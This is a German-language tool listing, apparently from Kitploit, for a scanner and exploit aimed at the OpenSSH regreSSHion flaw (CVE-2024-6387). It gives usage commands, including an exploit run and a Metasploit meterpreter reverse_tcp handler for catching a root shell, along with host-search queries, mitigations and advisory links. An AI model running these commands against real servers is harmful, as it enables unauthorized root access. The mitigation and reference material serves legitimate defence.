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CVE-2024-6387 — Schwachstelle für nicht authentifizierte Remote-Codeausführung im OpenSSH-Server (CVE-2024-6387) | Kitploit
Tools/GitHubGitHub/karmakstylez/cve-2024-6387
AufklärungSchwachstellenscannerExploitationNetzwerksicherheitPenetrationstestsRemote-Access-Tool
GitHubkarmakstylez/cve-2024-6387

CVE-2024-6387

Schwachstelle für nicht authentifizierte Remote-Codeausführung im OpenSSH-Server (CVE-2024-6387)

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188474vor 2 JahrenVon Kitploit geprüft

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openssh CVE-2024-6387.py - PoC

Wichtige Hinweise!!!

Der Exploit funktioniert NUR für 32-Bit-OpenSSH-Server. Das liegt daran, dass der PoC 32-Bit-Zeiger verwendet! Es ist außerdem bekannt, dass einige Versionen bereits gepatcht sind und nicht jeder Server verwundbar ist. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04

📜 Beschreibung

Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server

CVE-2024-6387.py ist ein leichtgewichtiges, effizientes Tool, das dazu entwickelt wurde, Server zu identifizieren, die verwundbare Versionen von OpenSSH ausführen, und gezielt die kürzlich entdeckte regreSSHion-Schwachstelle (CVE-2024-6387) anvisiert. Dieses Skript ermöglicht das schnelle Scannen mehrerer IP-Adressen, Domainnamen und CIDR-Netzwerkbereiche, um potenzielle Schwachstellen zu erkennen und die Sicherheit Ihrer Infrastruktur zu gewährleisten.

In OpenSSHs Server (sshd) wurde eine Race Condition im Signalhandler gefunden, bei der ein Client sich nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert. Daraufhin wird sshds SIGALRM-Handler asynchron aufgerufen. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, z. B. syslog().

📁 Inhaltsverzeichnis

  • 📖 Details
  • 🌟 Funktionen
  • ⚙️ Verwendung
  • O Ausgabe
  • 🔍 Host-Erkennung
  • 🛠️ Gegenmaßnahmen
  • 💁 Referenzen
  • 📌 Autor
  • 📢 Haftungsausschluss

✍🏻 Details

Technische Details finden Sie hier.

Die Schwachstelle wurde von Forschern bei Qualys im Mai 2024 entdeckt und erhielt die Kennung CVE-2024-6387. Sie ist auf eine Race Condition im Signalhandler von sshd zurückzuführen, die nicht authentifizierten Remote-Angreifern ermöglicht, beliebigen Code mit Root-Rechten auszuführen.

„Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120) authentifiziert, wird sshds SIGALRM-Handler asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."

„Ein nicht authentifizierter Remote-Angreifer kann diese Schwachstelle ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."

🌟 Funktionen

  • Schnelles Scannen: Scannen Sie schnell mehrere IP-Adressen, Domainnamen und CIDR-Bereiche auf die CVE-2024-6387-Schwachstelle.
  • Bannerabruf: Ruft SSH-Banner ohne Authentifizierung effizient ab.
  • Grace-Time-Erkennung: Optional erkennen, ob Server die Schwachstelle mithilfe der LoginGraceTime-Einstellung entschärft haben.
  • IPv6-Unterstützung: Unterstützt IPv6-Adressen vollständig, sowohl für direkte als auch für hostnamenbasierte Scans.
  • Multithreading: Verwendet Threads für gleichzeitige Prüfungen und reduziert die Scanzeiten erheblich.
  • Detaillierte Ausgabe: Liefert eine klare, mit Emojis codierte Ausgabe, die die Scanergebnisse zusammenfasst.
  • Portprüfung: Identifiziert geschlossene Ports und liefert eine Zusammenfassung nicht reagierender Hosts.
  • Erkennung gepatchter Versionen: Erkennt bekannte gepatchte Versionen und schließt sie aus Schwachstellenberichten aus.

⚙️ Verwendung

OpenSSH-Server scannen

Voraussetzung: aktuelles python3

root@kitploit:~
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames

Beispiele

Scannen einer einzelnen URL/IP

root@kitploit:~
python3 CVE-2024-6387.py scan -T example.com -p 22

Ausführen des Exploits gegen eine Domain / IP

root@kitploit:~
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0

Eskalationsprozess

Payload abfangen

Sie müssen lediglich zuerst den folgenden Befehl ausführen (ändern Sie den {yourip}-Handler) und anschließend den Exploit mit dem obigen Befehl starten

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"

Ausgabe

Das Tool liefert eine farbcodierte Ausgabe auf der Konsole für bessere Lesbarkeit:

Grün: Erfolgreiche Verbindung oder Operation. Rot: Fehlgeschlagene Verbindung oder Fehler. Gelb: Warnungen oder beachtenswerte Informationen. Cyan: Allgemeine Informationen oder Statusaktualisierungen.

🔍 Host-Erkennung

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ Gegenmaßnahmen

  • Patch-Management: Das zeitnahe Einspielen verfügbarer Patches für OpenSSH ist entscheidend, um die Schwachstelle zu schließen. Rechtzeitiges Patchen stellt sicher, dass bekannte Exploits nicht gegen Ihre Systeme eingesetzt werden können, wodurch das Angriffsfenster für Angreifer verringert wird.

  • Erweiterte Zugriffskontrolle: Die Einschränkung des SSH-Zugriffs durch netzwerkbasierte Kontrollen bietet eine zusätzliche Verteidigungsebene. Dieser Ansatz minimiert die Gefährdung durch potenzielle Angreifer, indem SSH-Verbindungen nur auf autorisierte Netzwerke oder IP-Adressen beschränkt werden. Die Implementierung von Tools wie Firewall-Regeln oder die Verwendung von VPNs für sicheren Zugriff können diese Einschränkungen effektiv durchsetzen.

  • Netzwerksegmentierung: Die Aufteilung Ihres Netzwerks in Segmente hilft, die Auswirkungen eines möglichen Einbruchs einzudämmen. Indem Sie kritische Systeme und sensible Daten von weniger kritischen Teilen Ihres Netzwerks trennen, verringern Sie das Risiko einer seitlichen Bewegung durch Angreifer. Diese Segmentierung kann durch strenge Zugriffskontrollen und Überwachung ergänzt werden, um unbefugte Versuche, diese Segmente zu durchbrechen, zu erkennen und darauf zu reagieren.

  • Intrusion-Detection-Systeme (IDS): Die Bereitstellung von IDS- oder Intrusion-Prevention-Systemen (IPS) ermöglicht die Echtzeitüberwachung von Netzwerkverkehr und Systemprotokollen. Diese Systeme können verdächtige Aktivitäten und potenzielle Ausnutzungsversuche im Zusammenhang mit der regreSSHion-Schwachstelle erkennen. Durch solche Systeme ausgelöste Alarme ermöglichen eine sofortige Untersuchung und Gegenmaßnahmen, bevor größerer Schaden entstehen kann.

  • Überwachung auf Ausnutzungsversuche: Die kontinuierliche Überwachung von Netzwerk- und Systemprotokollen ist entscheidend. Achten Sie auf ungewöhnliche Muster oder Aktivitäten, die auf einen Versuch hinweisen könnten, die OpenSSH-Sicherheitslücke auszunutzen. Dieser proaktive Ansatz hilft, Bedrohungen zu identifizieren und darauf zu reagieren, bevor sie Schaden anrichten können.

💁 Referenzen

  • Ursprünglicher Autor: CVE-2024-6387 Scanner
  • Ursprünglicher Autor: CVE-2024-6387 PoC

Weitere Referenzen

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📢 Haftungsausschluss

  • Wichtiger Hinweis:
    • Dieses Tool wird ausschließlich für autorisierte Penetrationstests und Red-Team-Übungen entwickelt und verwendet. Es wurde entwickelt, um Schwachstellen im OpenSSH-Server auf glibc-basierten Linux-Systemen zu identifizieren und auszunutzen. Die unbefugte Nutzung dieses Tools ist strengstens untersagt. Der Besitzer dieses Tools übernimmt keine Verantwortung für unbefugten Zugriff oder böswillige Nutzung des Tools.
  • Rechtlicher Hinweis:
    • Die unbefugte Nutzung dieses Tools auf Systemen oder Netzwerken ohne ausdrückliche Genehmigung der jeweiligen Eigentümer kann geltende Gesetze und Vorschriften verletzen. Die Benutzer sind dafür verantwortlich, die Einhaltung rechtlicher und ethischer Standards im Zusammenhang mit Cybersicherheitstests und -bewertungen sicherzustellen.
Tool herunterladen
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/